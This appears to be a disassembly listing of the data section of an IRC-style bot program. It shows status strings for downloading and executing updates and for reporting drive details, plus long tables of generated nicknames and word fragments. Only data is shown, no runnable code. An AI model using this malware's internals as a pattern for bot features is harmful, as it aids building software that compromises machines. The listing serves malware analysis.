aDownloaded_1fk	db 'downloaded %.1fKB to %s @ %.1fKB/sec, updating bot',0
		align 4
unk_44E6A4	db  2Dh	; -		; DATA XREF: sub_414A1D+485o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aUpdateFailedEr	db 'update failed, error executing %s',0
		align 4
unk_44E6D8	db  2Dh	; -		; DATA XREF: sub_414A1D+493o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aBadUrlOrDnsErr	db 'bad url or dns error at %s.',0
aUnknown	db 'Unknown',0          ; DATA XREF: sub_414FC5:loc_415008o
aInvalid	db 'Invalid',0          ; DATA XREF: sub_414FC5:loc_415002o
aDisk		db 'Disk',0             ; DATA XREF: sub_414FC5:loc_414FFCo
		align 4
aNetwork	db 'Network',0          ; DATA XREF: sub_414FC5:loc_414FF6o
aCdrom		db 'Cdrom',0            ; DATA XREF: sub_414FC5:loc_414FF0o
		align 4
off_44E72C	dd offset word_4D4152	; DATA XREF: sub_414FC5:loc_414FEAo
dword_44E730	dd 3Fh			; DATA XREF: sub_414FC5+1Fo
aFailed		db 'failed',0           ; DATA XREF: sub_415056+E0o
		align 4
aFailed_0	db 'failed',0           ; DATA XREF: sub_415056+F1o
		align 4
aFailed_1	db 'failed',0           ; DATA XREF: sub_415056+102o
		align 4
aSkb		db '%sKB',0             ; DATA XREF: sub_415056+70o
		align 4
aSkb_0		db '%sKB',0             ; DATA XREF: sub_415056+9Bo
		align 4
aSkb_1		db '%sKB',0             ; DATA XREF: sub_415056+C6o
		align 4
aFailed_2	db 'failed',0           ; DATA XREF: sub_41517A+3Bo
		align 4
unk_44E76C	db  2Dh	; -		; DATA XREF: sub_41517A+58o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDriveSFailedT	db '%s drive (%s): failed to stat, device not ready',0
unk_44E7A8	db  2Dh	; -		; DATA XREF: sub_41517A+8Eo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDriveSSTotalS	db '%s drive (%s): %s total, %s free, %s available',0
		align 4
aA_3		db 'A:\',0              ; DATA XREF: sub_41524C:loc_415291o
off_44E7E8	dd offset dword_44EC80	; DATA XREF: sub_4156B7+5Cr
		dd offset dword_44EC84
		dd offset dword_44EC88
		dd offset dword_44EC8C
		dd offset dword_44EC90
		dd offset dword_44EC94
		dd offset dword_44EC98
		dd offset dword_44EC9C
		dd offset dword_44ECA0
		dd offset dword_44ECA4
		dd offset dword_44ECA8
		dd offset dword_44ECAC
		dd offset dword_44ECB0
		dd offset dword_44ECB4
		dd offset dword_44ECB8
		dd offset dword_44ECBC
		dd offset dword_44ECC0
		dd offset dword_44ECC4
		dd offset dword_44ECC8
		dd offset dword_44ECCC
		dd offset dword_44ECD0
		dd offset dword_44ECD4
		dd offset dword_44ECD8
		dd offset dword_44ECDC
		dd offset dword_44ECE0
		dd offset dword_44ECE4
		dd offset dword_44ECE8
		dd offset dword_44ECEC
		dd offset dword_44ECF0
		dd offset dword_44ECF4
		dd offset dword_44ECF8
		dd offset dword_44ECFC
		dd offset dword_44ED00
		dd offset dword_44ED04
		dd offset dword_44ED08
		dd offset dword_44ED0C
		dd offset dword_44ED10
		dd offset dword_44ED14
		dd offset dword_44ED18
		dd offset dword_44ED1C
		dd offset dword_44ED20
		dd offset dword_44ED24
		dd offset dword_44ED28
		dd offset dword_44ED2C
		dd offset dword_44ED30
		dd offset dword_44ED34
		dd offset dword_44ED38
		dd offset dword_44ED3C
		dd offset dword_44ED40
		dd offset dword_44ED44
		dd offset dword_44ED48
		dd offset aSmartmir	; "SMARTMIR"
		dd offset aFarooq	; "farooq"
		dd offset aMaxxguy	; "maxxguy"
		dd offset aBobmarley	; "BOBMARLEY"
		dd offset aEmilya	; "emilya"
		dd offset aKrizha	; "KRIZHA"
		dd offset aCar1nna	; "Car1nna"
		dd offset aSwin		; "swin"
		dd offset aMale		; "male"
		dd offset aKoko		; "koko"
		dd offset aFlexster	; "flexster"
		dd offset aKen		; "ken"
		dd offset aShez		; "Shez"
		dd offset aTalika	; "talika"
		dd offset aMarcy_0	; "marcy"
		dd offset aCme		; "cme"
		dd offset aHeval	; "heval"
		dd offset aBunty	; "bunty"
		dd offset aJanno	; "janno"
		dd offset aRimpy	; "rimpy"
		dd offset aNastysha	; "nastysha"
		dd offset aLuisa	; "Luisa"
		dd offset aTroller	; "troller"
		dd offset aManee	; "manee"
		dd offset aKermit_0	; "kermit"
		dd offset aPuregold	; "puregold"
		dd offset aCoredump	; "CoreDump"
		dd offset aImra		; "imra"
		dd offset aGirl_0	; "GirL"
		dd offset aCamel	; "CAMEL"
		dd offset aReshma	; "reshma"
		dd offset aKencing	; "Kencing"
		dd offset aThr45h3r5	; "THR45H3R5"
		dd offset aCansuuuu	; "cansuuuu"
		dd offset aKaan38dent	; "kaan38dent"
		dd offset aErkan27	; "erkan27"
		dd offset aHexaaa	; "hexaaa"
		dd offset aBerk19	; "berk19"
		dd offset aObenibisevse	; "OBeNiBiSeVSe"
		dd offset aIrmal	; "irmal"
		dd offset aMisssunday	; "misssunday"
		dd offset aTolga34	; "Tolga34"
		dd offset aJericho	; "JERICHO"
		dd offset aMary_0	; "MARY"
		dd offset aAkin		; "AKIN"
		dd offset aMelekk	; "melekk"
		dd offset aTrend3	; "trend3"
		dd offset aMERVE	; "M-E-R-V-E"
		dd offset aTekir	; "tekir"
		dd offset aVenedik34	; "venedik34"
		dd offset aSevmekmi	; "sevmekmi"
		dd offset aSudenur	; "SUDENUR"
		dd offset aArzu		; "ARZU"
		dd offset aHaticem	; "haticem"
		dd offset aErnesto	; "ERNESTO"
		dd offset aAslii	; "aslii"
		dd offset aPiramit	; "PIRAMIT"
		dd offset aSamyeli21	; "samyeli21"
		dd offset aRetg		; "RETG"
		dd offset aBlackpearl	; "blackpearl"
		dd offset aPelincik	; "pelincik"
		dd offset aAhmet	; "ahmet"
		dd offset aTurkyy	; "turkyy"
		dd offset aAnk32m	; "ank32m"
		dd offset aZack		; "ZACK"
		dd offset aIzmir39m	; "Izmir39m"
		dd offset aAlbina	; "albina"
		dd offset aAyla		; "AYLA-"
		dd offset off_44EFB0
		dd offset aAnkh		; "ankh"
		dd offset aDonjuanm	; "Donjuanm"
		dd offset aBogac	; "bogac"
		dd offset aAlpay34m	; "alpay34m"
		dd offset aCongueror	; "CoNGuERoR"
		dd offset aDenizlim	; "DenizliM"
		dd offset aBerk19m	; "Berk19m"
		dd offset aDevran	; "devran"
		dd offset aArda		; "arda"
		dd offset aKeyiflisert	; "keyifliSERT"
		dd offset aMurat34M	; "murat34-m"
		dd offset aHakan3	; "hakan3"
		dd offset aImirzali	; "IMIRZALI--"
		dd offset aRamtha	; "RAMTHA"
		dd offset aEmre		; "Emre--"
		dd offset aElmaazyok	; "elmaazyok"
		dd offset aEsmerkiz	; "Esmerkiz"
		dd offset aKebikec	; "kebikec"
		dd offset aFlord	; "FLoRD"
		dd offset aHoly		; "holy"
		dd offset aMahinur	; "MAHINUR"
		dd offset aSadikaellesme ; "SaDIkaEllesme"
		dd offset aAykut1	; "aykut1"
		dd offset aKashmira	; "Kashmira"
		dd offset aSeviseli	; "SeViSeLi"
		dd offset aSugarboy	; "SUGARBOY-"
		dd offset aUzgun36	; "uzgun36"
		dd offset aKumul	; "kumul"
		dd offset aAdalim	; "ADALIM"
		dd offset aUmut		; "umut-"
		dd offset aAnk32M	; "ANK-32-M"
		dd offset aDjspace	; "DJSPACE"
		dd offset aAnkar	; "Ankar"
		dd offset aFenerlee	; "FeNeRLee"
		dd offset aHayran	; "hayran"
		dd offset aAngelgirl	; "angelgirl"
		dd offset aKapk		; "kapk"
		dd offset aAchilles	; "Achilles"
		dd offset aTegmen	; "TEGMEN"
		dd offset aKotan	; "kotan"
		dd offset aSevda	; "sevda"
		dd offset off_44F144
		dd offset aAlcatras	; "alcatras"
		dd offset aA44m		; "a44m"
		dd offset aBirsen	; "birsen"
		dd offset aYabanc	; "yabanc"
		dd offset aDevre	; "devre"
		dd offset aErkan	; "erkan"
		dd offset aAnkm		; "ankM"
		dd offset aAdem28	; "Adem28"
		dd offset aMaxsilla	; "maxsilla"
		dd offset aM41ist	; "M41IST"
		dd offset aAdamm33	; "AdAMM33"
		dd offset aFirtina	; "firtina"
		dd offset aAta29	; "Ata29"
		dd offset aKoray	; "KORAY"
		dd offset aAkden	; "akden"
		dd offset aIzmirlm	; "izmirlm"
		dd offset aUla		; "ula"
		dd offset aNeHaber	; "NE-HABER"
		dd offset aPassenger	; "passenger"
		dd offset aTropikal	; "tropikal"
		dd offset aCool30m	; "cool30m"
		dd offset aCem39	; "cem39"
		dd offset aRerpjj	; "RERPJJ"
		dd offset aTeoman	; "TEOMAN```"
		dd offset aDallas43m	; "DALLAS43M"
		dd offset aPrometheus	; "prometheus"
		dd offset aMaveRIck	; "MaVe{R}icK"
		dd offset aAdamm	; "ADAMM"
		dd offset aCumhur29	; "cumhur29"
		dd offset aWantedlove	; "WANTEDLOVE"
off_44EAE8	dd offset aSex_1	; DATA XREF: sub_4156B7+41r
					; sub_4156B7+ECr
					; "sex"
		dd offset aLez		; "lez"
		dd offset aZex		; "zex"
		dd offset aTree_0	; "tree"
		dd offset aBad		; "bad"
		dd offset aLag		; "lag"
		dd offset aTambe	; "|tambe|"
		dd offset aWoh		; "|woh|"
		dd offset aTot		; "-|tot|"
		dd offset aSuck_0	; "|suck|"
		dd offset aLuck_0	; "|luck|"
		dd offset aHub		; "{hub}"
		dd offset aSex_2	; "{sex}"
		dd offset aGens		; "{gens|"
		dd offset aLuvuF	; "||luvu-f|"
		dd offset aWiked	; "|wiked|"
		dd offset aSick_0	; "sick}}"
		dd offset aQ8		; "Q8"
		dd offset aQ8A		; "|q8|a"
		dd offset aB_0		; "b"
		dd offset aC_1		; "c"
		dd offset aD_3		; "d"
		dd offset aE_1		; "e"
		dd offset aF_0		; "f"
		dd offset aG_0		; "g"
		dd offset asc_44F2FC	; "h"
		dd offset aI_2		; "i"
		dd offset a__10		; "_"
		dd offset aJ_2		; "j"
		dd offset aK_1		; "k"
		dd offset asc_44F310	; "l"
		dd offset aM_4		; "m"
		dd offset aN_1		; "n"
		dd offset aO_1		; "o"
		dd offset aP_1		; "p"
		dd offset aQ_1		; "q"
		dd offset aRs		; "rs"
		dd offset aT_1		; "t"
		dd offset aU_1		; "u"
		dd offset aV_0		; "v"
		dd offset aW_0		; "w"
		dd offset asc_44F33C	; "x"
		dd offset aY_0		; "y"
		dd offset aZ_1		; "z"
		dd offset aHappy	; "happy"
		dd offset aRg		; "rg"
		dd offset aTy		; "ty"
		dd offset aGf		; "gf"
		dd offset aRt		; "rt"
		dd offset aSdf		; "sdf"
		dd offset aUi		; "ui"
		dd offset aLuvy		; "luvy"
		dd offset aTrimy	; "trimy"
		dd offset aTruck	; "truck"
		dd offset aMuckc	; "muckc"
		dd offset aZ_2		; "z"
		dd offset aG_1		; "g"
		dd offset aS_34		; "s"
		dd offset aQ_2		; "q"
		dd offset off_44F398
		dd offset dword_44F39C
		dd offset dword_4EECD4
		dd offset dword_4EECD8
		dd offset dword_44F3A4
		dd offset dword_4EECDC
		dd offset dword_4EECE0
		dd offset dword_4EECE4
		dd offset dword_4EECE8
		dd offset dword_44F3A8
		dd offset dword_44F3AC
		dd offset aLuvu		; "LUVU"
		dd offset aSad		; "Sad"
		dd offset aF_1		; "^^^f^"
		dd offset aB_1		; "b"
		dd offset dword_4EECEC
		dd offset aSleeping	; "Sleeping"
		dd offset dword_4EECF0
		dd offset dword_4EECF4
		dd offset aFuck_0	; "Fuck"
		dd offset aFree_1	; "Free"
		dd offset dword_4EECF8
		dd offset dword_4EECFC
		dd offset asc_44F3E4	; "X"
		dd offset dword_4EED00
		dd offset aBoy		; "BOY"
		dd offset aGirl_1	; "GIRL"
		dd offset aGurl		; "gurl"
		dd offset aShit_0	; "shit"
		dd offset aAha		; "aha"
		dd offset aYeah		; "yeah"
		dd offset aMuha		; "muha"
		dd offset aMof0		; "mof0"
		dd offset aMofo		; "mofo"
		dd offset aTot_0	; "tot"
		dd offset aLol_0	; "lol"
		dd offset aLoloA	; "lolo|a|"
		dd offset aSex4free	; "|sex4free|"
		dd offset a4us		; "|4us|"
		dd offset a4you		; "{4you}"
		dd offset a4u		; "|4u|"
		dd offset a5u		; "5u"
		dd offset a6u		; "6u"
dword_44EC80	dd 71h			; DATA XREF: .nsp0:off_44E7E8o
dword_44EC84	dd 77h			; DATA XREF: .nsp0:0044E7ECo
dword_44EC88	dd 65h			; DATA XREF: .nsp0:0044E7F0o
dword_44EC8C	dd 72h			; DATA XREF: .nsp0:0044E7F4o
dword_44EC90	dd 74h			; DATA XREF: .nsp0:0044E7F8o
dword_44EC94	dd 79h			; DATA XREF: .nsp0:0044E7FCo
dword_44EC98	dd 75h			; DATA XREF: .nsp0:0044E800o
dword_44EC9C	dd 69h			; DATA XREF: .nsp0:0044E804o
dword_44ECA0	dd 70h			; DATA XREF: .nsp0:0044E808o
dword_44ECA4	dd 61h			; DATA XREF: .nsp0:0044E80Co
dword_44ECA8	dd 73h			; DATA XREF: .nsp0:0044E810o
dword_44ECAC	dd 64h			; DATA XREF: .nsp0:0044E814o
dword_44ECB0	dd 66h			; DATA XREF: .nsp0:0044E818o
dword_44ECB4	dd 67h			; DATA XREF: .nsp0:0044E81Co
dword_44ECB8	dd 68h			; DATA XREF: .nsp0:0044E820o
dword_44ECBC	dd 6Ah			; DATA XREF: .nsp0:0044E824o
dword_44ECC0	dd 6Bh			; DATA XREF: .nsp0:0044E828o
dword_44ECC4	dd 6Ch			; DATA XREF: .nsp0:0044E82Co
dword_44ECC8	dd 7Ah			; DATA XREF: .nsp0:0044E830o
dword_44ECCC	dd 78h			; DATA XREF: .nsp0:0044E834o
dword_44ECD0	dd 63h			; DATA XREF: .nsp0:0044E838o
dword_44ECD4	dd 76h			; DATA XREF: .nsp0:0044E83Co
dword_44ECD8	dd 62h			; DATA XREF: .nsp0:0044E840o
dword_44ECDC	dd 6Eh			; DATA XREF: .nsp0:0044E844o
dword_44ECE0	dd 6Dh			; DATA XREF: .nsp0:0044E848o
dword_44ECE4	dd 51h			; DATA XREF: .nsp0:0044E84Co
dword_44ECE8	dd 57h			; DATA XREF: .nsp0:0044E850o
dword_44ECEC	dd 45h			; DATA XREF: .nsp0:0044E854o
dword_44ECF0	dd 52h			; DATA XREF: .nsp0:0044E858o
dword_44ECF4	dd 54h			; DATA XREF: .nsp0:0044E85Co
dword_44ECF8	dd 59h			; DATA XREF: .nsp0:0044E860o
dword_44ECFC	dd 55h			; DATA XREF: .nsp0:0044E864o
dword_44ED00	dd 49h			; DATA XREF: .nsp0:0044E868o
dword_44ED04	dd 4Fh			; DATA XREF: .nsp0:0044E86Co
dword_44ED08	dd 50h			; DATA XREF: .nsp0:0044E870o
dword_44ED0C	dd 41h			; DATA XREF: .nsp0:0044E874o
dword_44ED10	dd 53h			; DATA XREF: .nsp0:0044E878o
dword_44ED14	dd 44h			; DATA XREF: .nsp0:0044E87Co
dword_44ED18	dd 46h			; DATA XREF: .nsp0:0044E880o
dword_44ED1C	dd 47h			; DATA XREF: .nsp0:0044E884o
dword_44ED20	dd 48h			; DATA XREF: .nsp0:0044E888o
dword_44ED24	dd 4Ah			; DATA XREF: .nsp0:0044E88Co
dword_44ED28	dd 4Bh			; DATA XREF: .nsp0:0044E890o
dword_44ED2C	dd 4Ch			; DATA XREF: .nsp0:0044E894o
dword_44ED30	dd 5Ah			; DATA XREF: .nsp0:0044E898o
dword_44ED34	dd 58h			; DATA XREF: .nsp0:0044E89Co
dword_44ED38	dd 43h			; DATA XREF: .nsp0:0044E8A0o
dword_44ED3C	dd 56h			; DATA XREF: .nsp0:0044E8A4o
dword_44ED40	dd 42h			; DATA XREF: .nsp0:0044E8A8o
dword_44ED44	dd 4Eh			; DATA XREF: .nsp0:0044E8ACo
dword_44ED48	dd 4Dh			; DATA XREF: .nsp0:0044E8B0o
aSmartmir	db 'SMARTMIR',0         ; DATA XREF: .nsp0:0044E8B4o
		align 4
aFarooq		db 'farooq',0           ; DATA XREF: .nsp0:0044E8B8o
		align 10h
aMaxxguy	db 'maxxguy',0          ; DATA XREF: .nsp0:0044E8BCo
aBobmarley	db 'BOBMARLEY',0        ; DATA XREF: .nsp0:0044E8C0o
		align 4
aEmilya		db 'emilya',0           ; DATA XREF: .nsp0:0044E8C4o
		align 4
aKrizha		db 'KRIZHA',0           ; DATA XREF: .nsp0:0044E8C8o
		align 4
aCar1nna	db 'Car1nna',0          ; DATA XREF: .nsp0:0044E8CCo
aSwin		db 'swin',0             ; DATA XREF: .nsp0:0044E8D0o
		align 4
aMale		db 'male',0             ; DATA XREF: .nsp0:0044E8D4o
		align 4
aKoko		db 'koko',0             ; DATA XREF: .nsp0:0044E8D8o
		align 4
aFlexster	db 'flexster',0         ; DATA XREF: .nsp0:0044E8DCo
		align 10h
aKen		db 'ken',0              ; DATA XREF: .nsp0:0044E8E0o
aShez		db 'Shez',0             ; DATA XREF: .nsp0:0044E8E4o
		align 4
aTalika		db 'talika',0           ; DATA XREF: .nsp0:0044E8E8o
		align 4
aMarcy_0	db 'marcy',0            ; DATA XREF: .nsp0:0044E8ECo
		align 4
aCme		db 'cme',0              ; DATA XREF: .nsp0:0044E8F0o
aHeval		db 'heval',0            ; DATA XREF: .nsp0:0044E8F4o
		align 4
aBunty		db 'bunty',0            ; DATA XREF: .nsp0:0044E8F8o
		align 10h
aJanno		db 'janno',0            ; DATA XREF: .nsp0:0044E8FCo
		align 4
aRimpy		db 'rimpy',0            ; DATA XREF: .nsp0:0044E900o
		align 10h
aNastysha	db 'nastysha',0         ; DATA XREF: .nsp0:0044E904o
		align 4
aLuisa		db 'Luisa',0            ; DATA XREF: .nsp0:0044E908o
		align 4
aTroller	db 'troller',0          ; DATA XREF: .nsp0:0044E90Co
aManee		db 'manee',0            ; DATA XREF: .nsp0:0044E910o
		align 4
aKermit_0	db 'kermit',0           ; DATA XREF: .nsp0:0044E914o
		align 4
aPuregold	db 'puregold',0         ; DATA XREF: .nsp0:0044E918o
		align 4
aCoredump	db 'CoreDump',0         ; DATA XREF: .nsp0:0044E91Co
		align 4
aImra		db 'imra',0             ; DATA XREF: .nsp0:0044E920o
		align 4
aGirl_0		db 'GirL',0             ; DATA XREF: .nsp0:0044E924o
		align 4
aCamel		db 'CAMEL',0            ; DATA XREF: .nsp0:0044E928o
		align 4
aReshma		db 'reshma',0           ; DATA XREF: .nsp0:0044E92Co
		align 4
aKencing	db 'Kencing',0          ; DATA XREF: .nsp0:0044E930o
aThr45h3r5	db 'THR45H3R5',0        ; DATA XREF: .nsp0:0044E934o
		align 4
aCansuuuu	db 'cansuuuu',0         ; DATA XREF: .nsp0:0044E938o
		align 4
aKaan38dent	db 'kaan38dent',0       ; DATA XREF: .nsp0:0044E93Co
		align 10h
aErkan27	db 'erkan27',0          ; DATA XREF: .nsp0:0044E940o
aHexaaa		db 'hexaaa',0           ; DATA XREF: .nsp0:0044E944o
		align 10h
aBerk19		db 'berk19',0           ; DATA XREF: .nsp0:0044E948o
		align 4
aObenibisevse	db 'OBeNiBiSeVSe',0     ; DATA XREF: .nsp0:0044E94Co
		align 4
aIrmal		db 'irmal',0            ; DATA XREF: .nsp0:0044E950o
		align 10h
aMisssunday	db 'misssunday',0       ; DATA XREF: .nsp0:0044E954o
		align 4
aTolga34	db 'Tolga34',0          ; DATA XREF: .nsp0:0044E958o
aJericho	db 'JERICHO',0          ; DATA XREF: .nsp0:0044E95Co
aMary_0		db 'MARY',0             ; DATA XREF: .nsp0:0044E960o
		align 4
aAkin		db 'AKIN',0             ; DATA XREF: .nsp0:0044E964o
		align 4
aMelekk		db 'melekk',0           ; DATA XREF: .nsp0:0044E968o
		align 4
aTrend3		db 'trend3',0           ; DATA XREF: .nsp0:0044E96Co
		align 4
aMERVE		db 'M-E-R-V-E',0        ; DATA XREF: .nsp0:0044E970o
		align 4
aTekir		db 'tekir',0            ; DATA XREF: .nsp0:0044E974o
		align 10h
aVenedik34	db 'venedik34',0        ; DATA XREF: .nsp0:0044E978o
		align 4
aSevmekmi	db 'sevmekmi',0         ; DATA XREF: .nsp0:0044E97Co
		align 4
aSudenur	db 'SUDENUR',0          ; DATA XREF: .nsp0:0044E980o
aArzu		db 'ARZU',0             ; DATA XREF: .nsp0:0044E984o
		align 4
aHaticem	db 'haticem',0          ; DATA XREF: .nsp0:0044E988o
aErnesto	db 'ERNESTO',0          ; DATA XREF: .nsp0:0044E98Co
aAslii		db 'aslii',0            ; DATA XREF: .nsp0:0044E990o
		align 10h
aPiramit	db 'PIRAMIT',0          ; DATA XREF: .nsp0:0044E994o
aSamyeli21	db 'samyeli21',0        ; DATA XREF: .nsp0:0044E998o
		align 4
aRetg		db 'RETG',0             ; DATA XREF: .nsp0:0044E99Co
		align 4
aBlackpearl	db 'blackpearl',0       ; DATA XREF: .nsp0:0044E9A0o
		align 4
aPelincik	db 'pelincik',0         ; DATA XREF: .nsp0:0044E9A4o
		align 4
aAhmet		db 'ahmet',0            ; DATA XREF: .nsp0:0044E9A8o
		align 4
aTurkyy		db 'turkyy',0           ; DATA XREF: .nsp0:0044E9ACo
		align 4
aAnk32m		db 'ank32m',0           ; DATA XREF: .nsp0:0044E9B0o
		align 4
aZack		db 'ZACK',0             ; DATA XREF: .nsp0:0044E9B4o
		align 4
aIzmir39m	db 'Izmir39m',0         ; DATA XREF: .nsp0:0044E9B8o
		align 10h
aAlbina		db 'albina',0           ; DATA XREF: .nsp0:0044E9BCo
		align 4
aAyla		db 'AYLA-',0            ; DATA XREF: .nsp0:0044E9C0o
		align 10h
off_44EFB0	dd offset byte_457441	; DATA XREF: .nsp0:0044E9C4o
aAnkh		db 'ankh',0             ; DATA XREF: .nsp0:0044E9C8o
		align 4
aDonjuanm	db 'Donjuanm',0         ; DATA XREF: .nsp0:0044E9CCo
		align 4
aBogac		db 'bogac',0            ; DATA XREF: .nsp0:0044E9D0o
		align 10h
aAlpay34m	db 'alpay34m',0         ; DATA XREF: .nsp0:0044E9D4o
		align 4
aCongueror	db 'CoNGuERoR',0        ; DATA XREF: .nsp0:0044E9D8o
		align 4
aDenizlim	db 'DenizliM',0         ; DATA XREF: .nsp0:0044E9DCo
		align 4
aBerk19m	db 'Berk19m',0          ; DATA XREF: .nsp0:0044E9E0o
aDevran		db 'devran',0           ; DATA XREF: .nsp0:0044E9E4o
		align 4
aArda		db 'arda',0             ; DATA XREF: .nsp0:0044E9E8o
		align 4
aKeyiflisert	db 'keyifliSERT',0      ; DATA XREF: .nsp0:0044E9ECo
aMurat34M	db 'murat34-m',0        ; DATA XREF: .nsp0:0044E9F0o
		align 4
aHakan3		db 'hakan3',0           ; DATA XREF: .nsp0:0044E9F4o
		align 4
aImirzali	db 'IMIRZALI--',0       ; DATA XREF: .nsp0:0044E9F8o
		align 4
aRamtha		db 'RAMTHA',0           ; DATA XREF: .nsp0:0044E9FCo
		align 10h
aEmre		db 'Emre--',0           ; DATA XREF: .nsp0:0044EA00o
		align 4
aElmaazyok	db 'elmaazyok',0        ; DATA XREF: .nsp0:0044EA04o
		align 4
aEsmerkiz	db 'Esmerkiz',0         ; DATA XREF: .nsp0:0044EA08o
		align 10h
aKebikec	db 'kebikec',0          ; DATA XREF: .nsp0:0044EA0Co
aFlord		db 'FLoRD',0            ; DATA XREF: .nsp0:0044EA10o
		align 10h
aHoly		db 'holy',0             ; DATA XREF: .nsp0:0044EA14o
		align 4
aMahinur	db 'MAHINUR',0          ; DATA XREF: .nsp0:0044EA18o
aSadikaellesme	db 'SaDIkaEllesme',0    ; DATA XREF: .nsp0:0044EA1Co
		align 10h
aAykut1		db 'aykut1',0           ; DATA XREF: .nsp0:0044EA20o
		align 4
aKashmira	db 'Kashmira',0         ; DATA XREF: .nsp0:0044EA24o
		align 4
aSeviseli	db 'SeViSeLi',0         ; DATA XREF: .nsp0:0044EA28o
		align 10h
aSugarboy	db 'SUGARBOY-',0        ; DATA XREF: .nsp0:0044EA2Co
		align 4
aUzgun36	db 'uzgun36',0          ; DATA XREF: .nsp0:0044EA30o
aKumul		db 'kumul',0            ; DATA XREF: .nsp0:0044EA34o
		align 4
aAdalim		db 'ADALIM',0           ; DATA XREF: .nsp0:0044EA38o
		align 4
aUmut		db 'umut-',0            ; DATA XREF: .nsp0:0044EA3Co
		align 4
aAnk32M		db 'ANK-32-M',0         ; DATA XREF: .nsp0:0044EA40o
		align 4
aDjspace	db 'DJSPACE',0          ; DATA XREF: .nsp0:0044EA44o
aAnkar		db 'Ankar',0            ; DATA XREF: .nsp0:0044EA48o
		align 4
aFenerlee	db 'FeNeRLee',0         ; DATA XREF: .nsp0:0044EA4Co
		align 4
aHayran		db 'hayran',0           ; DATA XREF: .nsp0:0044EA50o
		align 4
aAngelgirl	db 'angelgirl',0        ; DATA XREF: .nsp0:0044EA54o
		align 4
aKapk		db 'kapk',0             ; DATA XREF: .nsp0:0044EA58o
		align 10h
aAchilles	db 'Achilles',0         ; DATA XREF: .nsp0:0044EA5Co
		align 4
aTegmen		db 'TEGMEN',0           ; DATA XREF: .nsp0:0044EA60o
		align 4
aKotan		db 'kotan',0            ; DATA XREF: .nsp0:0044EA64o
		align 4
aSevda		db 'sevda',0            ; DATA XREF: .nsp0:0044EA68o
		align 4
off_44F144	dd offset byte_4B5245	; DATA XREF: .nsp0:0044EA6Co
aAlcatras	db 'alcatras',0         ; DATA XREF: .nsp0:0044EA70o
		align 4
aA44m		db 'a44m',0             ; DATA XREF: .nsp0:0044EA74o
		align 4
aBirsen		db 'birsen',0           ; DATA XREF: .nsp0:0044EA78o
		align 4
aYabanc		db 'yabanc',0           ; DATA XREF: .nsp0:0044EA7Co
		align 4
aDevre		db 'devre',0            ; DATA XREF: .nsp0:0044EA80o
		align 4
aErkan		db 'erkan',0            ; DATA XREF: .nsp0:0044EA84o
		align 4
aAnkm		db 'ankM',0             ; DATA XREF: .nsp0:0044EA88o
		align 4
aAdem28		db 'Adem28',0           ; DATA XREF: .nsp0:0044EA8Co
		align 4
aMaxsilla	db 'maxsilla',0         ; DATA XREF: .nsp0:0044EA90o
		align 4
aM41ist		db 'M41IST',0           ; DATA XREF: .nsp0:0044EA94o
		align 10h
aAdamm33	db 'AdAMM33',0          ; DATA XREF: .nsp0:0044EA98o
aFirtina	db 'firtina',0          ; DATA XREF: .nsp0:0044EA9Co
aAta29		db 'Ata29',0            ; DATA XREF: .nsp0:0044EAA0o
		align 4
aKoray		db 'KORAY',0            ; DATA XREF: .nsp0:0044EAA4o
		align 10h
aAkden		db 'akden',0            ; DATA XREF: .nsp0:0044EAA8o
		align 4
aIzmirlm	db 'izmirlm',0          ; DATA XREF: .nsp0:0044EAACo
aUla		db 'ula',0              ; DATA XREF: .nsp0:0044EAB0o
aNeHaber	db 'NE-HABER',0         ; DATA XREF: .nsp0:0044EAB4o
		align 10h
aPassenger	db 'passenger',0        ; DATA XREF: .nsp0:0044EAB8o
		align 4
aTropikal	db 'tropikal',0         ; DATA XREF: .nsp0:0044EABCo
		align 4
aCool30m	db 'cool30m',0          ; DATA XREF: .nsp0:0044EAC0o
aCem39		db 'cem39',0            ; DATA XREF: .nsp0:0044EAC4o
		align 4
aRerpjj		db 'RERPJJ',0           ; DATA XREF: .nsp0:0044EAC8o
		align 10h
aTeoman		db 'TEOMAN```',0        ; DATA XREF: .nsp0:0044EACCo
		align 4
aDallas43m	db 'DALLAS43M',0        ; DATA XREF: .nsp0:0044EAD0o
		align 4
aPrometheus	db 'prometheus',0       ; DATA XREF: .nsp0:0044EAD4o
		align 4
aMaveRIck	db 'MaVe{R}icK',0       ; DATA XREF: .nsp0:0044EAD8o
		align 10h
aAdamm		db 'ADAMM',0            ; DATA XREF: .nsp0:0044EADCo
		align 4
aCumhur29	db 'cumhur29',0         ; DATA XREF: .nsp0:0044EAE0o
		align 4
aWantedlove	db 'WANTEDLOVE',0       ; DATA XREF: .nsp0:0044EAE4o
		align 10h
aSex_1		db 'sex',0              ; DATA XREF: .nsp0:off_44EAE8o
aLez		db 'lez',0              ; DATA XREF: .nsp0:0044EAECo
aZex		db 'zex',0              ; DATA XREF: .nsp0:0044EAF0o
aTree_0		db 'tree',0             ; DATA XREF: .nsp0:0044EAF4o
		align 4
aBad		db 'bad',0              ; DATA XREF: .nsp0:0044EAF8o
aLag		db 'lag',0              ; DATA XREF: .nsp0:0044EAFCo
aTambe		db '|tambe|',0          ; DATA XREF: .nsp0:0044EB00o
aWoh		db '|woh|',0            ; DATA XREF: .nsp0:0044EB04o
		align 4
aTot		db '-|tot|',0           ; DATA XREF: .nsp0:0044EB08o
		align 4
aSuck_0		db '|suck|',0           ; DATA XREF: .nsp0:0044EB0Co
		align 4
aLuck_0		db '|luck|',0           ; DATA XREF: .nsp0:0044EB10o
		align 4
aHub		db '{hub}',0            ; DATA XREF: .nsp0:0044EB14o
		align 4
aSex_2		db '{sex}',0            ; DATA XREF: .nsp0:0044EB18o
		align 4
aGens		db '{gens|',0           ; DATA XREF: .nsp0:0044EB1Co
		align 4
aLuvuF		db '||luvu-f|',0        ; DATA XREF: .nsp0:0044EB20o
		align 4
aWiked		db '|wiked|',0          ; DATA XREF: .nsp0:0044EB24o
aSick_0		db 'sick}}',0           ; DATA XREF: .nsp0:0044EB28o
		align 4
aQ8		db 'Q8',0               ; DATA XREF: .nsp0:0044EB2Co
		align 4
